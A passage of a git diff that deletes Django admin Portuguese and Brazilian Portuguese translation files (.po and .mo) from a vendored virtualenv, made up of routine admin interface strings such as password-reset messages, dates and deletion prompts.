palavra-passe" - -msgid "Your password was changed." -msgstr "A sua palavra-passe foi modificada." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Por razões de segurança, introduza a sua palavra-passe antiga e, em seguida, " -"introduza a sua nova palavra-passe duas vezes para podermos verificar se a " -"digitou corretamente." - -msgid "Change my password" -msgstr "Modificar a minha palavra-passe" - -msgid "Password reset" -msgstr "Palavra-passe de reinicialização" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "A sua palavra-passe foi atribuída. Pode entrar agora." - -msgid "Password reset confirmation" -msgstr "Confirmação da reinicialização da palavra-passe" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor, introduza a sua nova palavra-passe duas vezes para verificarmos " -"se está correcta." - -msgid "New password:" -msgstr "Nova palavra-passe:" - -msgid "Confirm password:" -msgstr "Confirmação da palavra-passe:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"O endereço de reinicialização da palavra-passe é inválido, possivelmente " -"porque já foi usado. Por favor requisite uma nova reinicialização da palavra-" -"passe." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Enviámos-lhe um e-mail com instruções para definir a sua palavra-passe, caso " -"exista uma conta com o e-mail que introduziu. Deverá recebê-las em breve." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Se não receber uma mensagem de correio eletrónico, certifique-se de que " -"introduziu o endereço com que se registou e verifique a sua pasta de spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Está a receber este email porque pediu para redefinir a palavra-chave para o " -"seu utilizador no site %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Por favor siga a seguinte página e escolha a sua nova palavra-passe:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Obrigado pela sua visita ao nosso site!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "A equipa do %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Esqueceu-se da sua palavra-passe? Introduza o seu endereço de correio " -"eletrónico abaixo e enviar-lhe-emos instruções para definir uma nova palavra-" -"passe." - -msgid "Email address:" -msgstr "Endereço de email:" - -msgid "Reset my password" -msgstr "Reinicializar a minha palavra-passe" - -msgid "Select all objects on this page for an action" -msgstr "Selecione todos os itens nesta página para uma ação" - -msgid "All dates" -msgstr "Todas as datas" - -#, python-format -msgid "Select %s" -msgstr "Selecionar %s" - -#, python-format -msgid "Select %s to change" -msgstr "Selecione %s para modificar" - -#, python-format -msgid "Select %s to view" -msgstr "Selecione %s para ver" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Procurar" - -msgid "Currently:" -msgstr "Atualmente:" - -msgid "Change:" -msgstr "Modificar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.mo deleted file mode 100644 index c89c980c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.po deleted file mode 100644 index a6f56e17..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,319 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Manuela Silva , 2025 -# Nuno Mariz , 2011-2012,2015,2017,2023 -# 12574c6d66324e145c1d19e02acecb73_84badd8 <4e8d94859927eab3b50486d21249c068_5346>, 2011 -# Raúl Pedro Fernandes Santos, 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Manuela Silva , 2025\n" -"Language-Team: Portuguese (http://app.transifex.com/django/django/language/" -"pt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pt\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Disponível %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Digite nesta caixa para filtrar a lista de %s disponíveis." - -msgid "Filter" -msgstr "Filtrar" - -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Escolhido %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Digite nesta caixa para filtrar a lista de selecionados %s." - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opção selecionada não visível" -msgstr[1] "%s opções selecionadas não visíveis" -msgstr[2] "%s opções selecionadas não visíveis" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s selecionado" -msgstr[1] "%(sel)s de %(cnt)s selecionados" -msgstr[2] "%(sel)s de %(cnt)s selecionados" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tem mudanças por guardar nos campos individuais. Se usar uma ação, as suas " -"mudanças por guardar serão perdidas." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Agora" - -msgid "Midnight" -msgstr "Meia-noite" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Meio-dia" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -"Nota: O seu fuso horário está %s hora adiantado em relação ao servidor." -msgstr[1] "" -"Nota: O seu fuso horário está %s horas adiantado em relação ao servidor." -msgstr[2] "" -"Nota: O seu fuso horário está %s horas adiantado em relação ao servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Nota: O use fuso horário está %s hora atrasado em relação ao servidor." -msgstr[1] "" -"Nota: O use fuso horário está %s horas atrasado em relação ao servidor." -msgstr[2] "" -"Nota: O use fuso horário está %s horas atrasado em relação ao servidor." - -msgid "Choose a Time" -msgstr "Escolha a Hora" - -msgid "Choose a time" -msgstr "Escolha a hora" - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoje" - -msgid "Choose a Date" -msgstr "Escolha a Data" - -msgid "Yesterday" -msgstr "Ontem" - -msgid "Tomorrow" -msgstr "Amanhã" - -msgid "January" -msgstr "Janeiro" - -msgid "February" -msgstr "Fevereiro" - -msgid "March" -msgstr "Março" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maio" - -msgid "June" -msgstr "Junho" - -msgid "July" -msgstr "Julho" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Setembro" - -msgid "October" -msgstr "Outubro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Dezembro" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Fev" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Abr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Set" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Out" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dez" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Monday" -msgstr "Segunda-feira" - -msgid "Tuesday" -msgstr "Terça-feira" - -msgid "Wednesday" -msgstr "Quarta-feira" - -msgid "Thursday" -msgstr "Quinta-feira" - -msgid "Friday" -msgstr "Sexta-feira" - -msgid "Saturday" -msgstr "Sábado" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Dom" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Seg" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Ter" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Qua" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Qui" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Sex" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sáb" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "S" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Q" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Q" - -msgctxt "one letter Friday" -msgid "F" -msgstr "S" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.mo deleted file mode 100644 index 1a2a3b98..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.po deleted file mode 100644 index 8318b377..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.po +++ /dev/null @@ -1,821 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Allisson Azevedo , 2014 -# Bruce de Sá , 2019 -# bruno.devpod , 2014 -# Carlos Cadu “Cadu” Leite , 2019 -# Carlos Cadu “Cadu” Leite , 2019 -# Filipe Cifali , 2016 -# dudanogueira , 2012 -# Eduardo Felipe Castegnaro , 2024 -# Elyézer Rezende , 2013 -# Fábio C. Barrionuevo da Luz , 2015 -# Fabio Cerqueira , 2019 -# Francisco Petry Rauber , 2016 -# Gabriel da Mota , 2023 -# Gladson , 2013 -# Guilherme Ferreira , 2017 -# fa9e10542e458baef0599ae856e43651_13d2225, 2012-2013 -# Jannis Leidel , 2011 -# João Paulo Andrade , 2018 -# Jonas Rodrigues, 2023 -# Lucas Infante , 2015 -# Luiz Boaretto , 2017 -# Marssal Jr. , 2022 -# Marcelo Moro Brondani , 2018 -# Marco Rougeth , 2015 -# Otávio Reis , 2018 -# Raysa Dutra, 2016 -# R.J Lelis , 2019 -# Samuel Nogueira Bacelar , 2020 -# Sergio Garcia , 2015 -# Tomaz Marcelino Cunha Neto , 2022 -# Vinícius Damaceno , 2019 -# Vinícius Muniz de Melo , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: Eduardo Felipe Castegnaro , 2024\n" -"Language-Team: Portuguese (Brazil) (http://app.transifex.com/django/django/" -"language/pt_BR/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pt_BR\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Remover %(verbose_name_plural)s selecionados" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Removido %(count)d %(items)s com sucesso." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Não é possível remover %(name)s " - -msgid "Are you sure?" -msgstr "Tem certeza?" - -msgid "Administration" -msgstr "Administração" - -msgid "All" -msgstr "Todos" - -msgid "Yes" -msgstr "Sim" - -msgid "No" -msgstr "Não" - -msgid "Unknown" -msgstr "Desconhecido" - -msgid "Any date" -msgstr "Qualquer data" - -msgid "Today" -msgstr "Hoje" - -msgid "Past 7 days" -msgstr "Últimos 7 dias" - -msgid "This month" -msgstr "Este mês" - -msgid "This year" -msgstr "Este ano" - -msgid "No date" -msgstr "Sem data" - -msgid "Has date" -msgstr "Tem data" - -msgid "Empty" -msgstr "Vazio" - -msgid "Not empty" -msgstr "Não está vazio" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor, insira um %(username)s e senha corretos para uma conta de equipe. " -"Note que ambos campos são sensíveis a maiúsculas e minúsculas." - -msgid "Action:" -msgstr "Ação:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Adicionar outro(a) %(verbose_name)s" - -msgid "Remove" -msgstr "Remover" - -msgid "Addition" -msgstr "Adição" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Remoção" - -msgid "action time" -msgstr "hora da ação" - -msgid "user" -msgstr "usuário" - -msgid "content type" -msgstr "tipo de conteúdo" - -msgid "object id" -msgstr "id do objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr do objeto" - -msgid "action flag" -msgstr "flag de ação" - -msgid "change message" -msgstr "modificar mensagem" - -msgid "log entry" -msgstr "entrada de log" - -msgid "log entries" -msgstr "entradas de log" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Adicionado “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Alterado “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Removido “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Objeto LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Adicionado {name} “{object}”." - -msgid "Added." -msgstr "Adicionado." - -msgid "and" -msgstr "e" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Alterado {fields} para {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Alterado {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Removido {name} “{object}”." - -msgid "No fields changed." -msgstr "Nenhum campo modificado." - -msgid "None" -msgstr "Nenhum" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Pressione “Control”, ou “Command” no Mac, para selecionar mais de um." - -msgid "Select this object for an action - {}" -msgstr "Selecione esse objeto para uma ação - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "O {name} “{obj}” foi adicionado com sucesso." - -msgid "You may edit it again below." -msgstr "Você pode editá-lo novamente abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"O {name} “{obj}” foi adicionado com sucesso. Você pode adicionar outro " -"{name} abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"O {name} “{obj}” foi alterado com sucesso. Você pode alterá-lo novamente " -"abaixo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"O {name} “{obj}” foi alterado com sucesso. Você talvez adicione outro " -"{name} abaixo." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "O {name} “{obj}” foi alterado com sucesso." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Os itens devem ser selecionados em ordem a fim de executar ações sobre eles. " -"Nenhum item foi modificado." - -msgid "No action selected." -msgstr "Nenhuma ação selecionada." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "O %(name)s “%(obj)s” foi removido com sucesso." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "O %(name)s com ID “%(key)s” não existe. Talvez tenha sido removido." - -#, python-format -msgid "Add %s" -msgstr "Adicionar %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "Visualizar %s" - -msgid "Database error" -msgstr "Erro no banco de dados" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s modificado com sucesso." -msgstr[1] "%(count)s %(name)s modificados com sucesso." -msgstr[2] "%(count)s %(name)s modificados com sucesso." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selecionado" -msgstr[1] "Todos %(total_count)s selecionados" -msgstr[2] "Todos %(total_count)s selecionados" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s selecionados" - -#, python-format -msgid "Change history: %s" -msgstr "Histórico de modificações: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Remover o %(class_name)s %(instance)s exigiria remover os seguintes objetos " -"protegidos relacionados: %(related_objects)s" - -msgid "Django site admin" -msgstr "Site de administração do Django" - -msgid "Django administration" -msgstr "Administração do Django" - -msgid "Site administration" -msgstr "Administração do Site" - -msgid "Log in" -msgstr "Acessar" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administração" - -msgid "Page not found" -msgstr "Página não encontrada" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Lamentamos, mas a página requisitada não pode ser encontrada." - -msgid "Home" -msgstr "Início" - -msgid "Server error" -msgstr "Erro no servidor" - -msgid "Server error (500)" -msgstr "Erro no servidor (500)" - -msgid "Server Error (500)" -msgstr "Erro no Servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ocorreu um erro. Este foi reportado para os administradores do site via " -"email e deve ser corrigido logo. Obirgado por sua paciência." - -msgid "Run the selected action" -msgstr "Executar ação selecionada" - -msgid "Go" -msgstr "Ir" - -msgid "Click here to select the objects across all pages" -msgstr "Clique aqui para selecionar os objetos de todas as páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Selecionar todos %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Limpar seleção" - -msgid "Breadcrumbs" -msgstr "Marcas de navegação" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos na aplicação %(name)s" - -msgid "Add" -msgstr "Adicionar" - -msgid "View" -msgstr "Visualizar" - -msgid "You don’t have permission to view or edit anything." -msgstr "Você não tem permissão para ver ou editar nada." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Primeiro, informe um nome de usuário e senha. Então, você poderá editar " -"outras opções do usuário." - -msgid "Enter a username and password." -msgstr "Digite um nome de usuário e senha." - -msgid "Change password" -msgstr "Alterar senha" - -msgid "Set password" -msgstr "Definir senha" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Por favor corrija o erro abaixo." -msgstr[1] "Por favor corrija os erros abaixo." -msgstr[2] "Por favor corrija os erros abaixo." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Informe uma nova senha para o usuário %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Esta ação irá habilitarautenticação baseada em senha para " -"este usuário." - -msgid "Disable password-based authentication" -msgstr "Desabilitar autenticação baseada em senha" - -msgid "Enable password-based authentication" -msgstr "Habilitar autenticação baseada em senha" - -msgid "Skip to main content" -msgstr "Ir para o conteúdo principal" - -msgid "Welcome," -msgstr "Bem-vindo(a)," - -msgid "View site" -msgstr "Ver o site" - -msgid "Documentation" -msgstr "Documentação" - -msgid "Log out" -msgstr "Encerrar sessão" - -#, python-format -msgid "Add %(name)s" -msgstr "Adicionar %(name)s" - -msgid "History" -msgstr "Histórico" - -msgid "View on site" -msgstr "Ver no site" - -msgid "Filter" -msgstr "Filtro" - -msgid "Hide counts" -msgstr "Esconder contagem" - -msgid "Show counts" -msgstr "Mostrar contagem" - -msgid "Clear all filters" -msgstr "Limpar todos os filtros" - -msgid "Remove from sorting" -msgstr "Remover da ordenação" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridade da ordenação: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Alternar ordenção" - -msgid "Toggle theme (current theme: auto)" -msgstr "Alternar tema (tema atual: automático)" - -msgid "Toggle theme (current theme: light)" -msgstr "Alternar tema (tema atual: claro)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Alternar tema (tema atual: escuro)" - -msgid "Delete" -msgstr "Remover" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"A remoção de '%(object_name)s' %(escaped_object)s pode resultar na remoção " -"de objetos relacionados, mas sua conta não tem a permissão para remoção dos " -"seguintes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Remover o %(object_name)s ' %(escaped_object)s ' exigiria remover os " -"seguintes objetos protegidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Você tem certeza que quer remover %(object_name)s \"%(escaped_object)s\"? " -"Todos os seguintes itens relacionados serão removidos:" - -msgid "Objects" -msgstr "Objetos" - -msgid "Yes, I’m sure" -msgstr "Sim, eu tenho certeza" - -msgid "No, take me back" -msgstr "Não, me leve de volta" - -msgid "Delete multiple objects" -msgstr "Remover múltiplos objetos" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Remover o %(objects_name)s selecionado pode resultar na remoção de objetos " -"relacionados, mas sua conta não tem permissão para remover os seguintes " -"tipos de objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Remover o %(objects_name)s selecionado exigiria remover os seguintes objetos " -"relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Tem certeza de que deseja remover o %(objects_name)s selecionado? Todos os " -"seguintes objetos e seus itens relacionados serão removidos:" - -msgid "Delete?" -msgstr "Remover?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Por %(filter_title)s " - -msgid "Summary" -msgstr "Resumo" - -msgid "Recent actions" -msgstr "Ações recentes" - -msgid "My actions" -msgstr "Minhas Ações" - -msgid "None available" -msgstr "Nenhum disponível" - -msgid "Added:" -msgstr "Adicionado:" - -msgid "Changed:" -msgstr "Alterado:" - -msgid "Deleted:" -msgstr "Removido:" - -msgid "Unknown content" -msgstr "Conteúdo desconhecido" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Alguma coisa está errada com sua estalação do banco de dados. Certifique-se " -"que as tabelas apropriadas foram criadas, e certifique-se que o banco de " -"dados pode ser acessado pelo usuário apropriado." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Você está autenticado como %(username)s, mas não está autorizado a acessar " -"esta página. Você gostaria de realizar login com uma conta diferente?" - -msgid "Forgotten your password or username?" -msgstr "Esqueceu sua senha ou nome de usuário?" - -msgid "Toggle navigation" -msgstr "Alternar navegação" - -msgid "Sidebar" -msgstr "Barra Lateral" - -msgid "Start typing to filter…" -msgstr "Comece a digitar para filtrar…" - -msgid "Filter navigation items" -msgstr "Filtrar itens de navegação" - -msgid "Date/time" -msgstr "Data/hora" - -msgid "User" -msgstr "Usuário" - -msgid "Action" -msgstr "Ação" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "entrada" -msgstr[1] "entradas" -msgstr[2] "entradas" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Este objeto não tem histórico de alterações. Provavelmente não adicionado " -"por este site de administração." - -msgid "Show all" -msgstr "Mostrar tudo" - -msgid "Save" -msgstr "Salvar" - -msgid "Popup closing…" -msgstr "Popup fechando…" - -msgid "Search" -msgstr "Pesquisar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado" -msgstr[1] "%(counter)s resultados" -msgstr[2] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Salvar como novo" - -msgid "Save and add another" -msgstr "Salvar e adicionar outro(a)" - -msgid "Save and continue editing" -msgstr "Salvar e continuar editando" - -msgid "Save and view" -msgstr "Salvar e visualizar" - -msgid "Close" -msgstr "Fechar" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Alterar %(model)s selecionado" - -#, python-format -msgid "Add another %(model)s" -msgstr "Adicionar outro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Remover %(model)s selecionado" - -#, python-format -msgid "View selected %(model)s" -msgstr "Visualizar %(model)s selecionados" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Obrigado por passar algum tempo de qualidade com o site hoje." - -msgid "Log in again" -msgstr "Acessar novamente" - -msgid "Password change" -msgstr "Alterar senha" - -msgid "Your password was changed." -msgstr "Sua senha foi alterada." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Informe sua senha antiga por favor, por motivos de segurança, e então " -"informe sua nova senha duas vezes para que possamos verificar se você " -"digitou tudo corretamente." - -msgid "Change my password" -msgstr "Alterar minha senha" - -msgid "Password reset" -msgstr "Recuperar senha" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Sua senha foi definida. Você pode prosseguir e se autenticar agora." - -msgid "Password reset confirmation" -msgstr "Confirmação de recuperação de senha" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor, informe sua nova senha duas vezes para que possamos verificar se " -"você a digitou corretamente." - -msgid "New password:" -msgstr "Nova senha:" - -msgid "Confirm password:" -msgstr "Confirme a senha:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"O link para a recuperação de senha era inválido, possivelmente porque já foi " -"utilizado. Por favor, solicite uma nova recuperação de senha." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Nos te enviamos um email com instruções para configurar sua senha, se uma " -"conta existe com o email fornecido. Você receberá a mensagem em breve." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Se você não recebeu um email, por favor certifique-se que você forneceu o " -"endereço que você está cadastrado, e verifique sua pasta de spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Você está recebendo este email porque solicitou a redefinição da senha da " -"sua conta em %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Por favor, acesse a seguinte página e escolha uma nova senha:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Seu nome de usuário, caso tenha esquecido:" - -msgid "Thanks for using our site!" -msgstr "Obrigado por usar nosso site!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Equipe %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Esqueceu sua senha? Forneça seu endereço de email abaixo, e nos te " -"enviaremos um email com instruções para configurar uma nova." - -msgid "Email address:" -msgstr "Endereço de email:" - -msgid "Reset my password" -msgstr "Reinicializar minha senha" - -msgid "Select all objects on this page for an action" -msgstr "Selecione todos os objetos nessa página para uma ação" - -msgid "All dates" -msgstr "Todas as datas" - -#, python-format -msgid "Select %s" -msgstr "Selecione %s" - -#, python-format -msgid "Select %s to change" -msgstr "Selecione %s para modificar" - -#, python-format -msgid "Select %s to view" -msgstr "Selecione %s para visualizar" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" 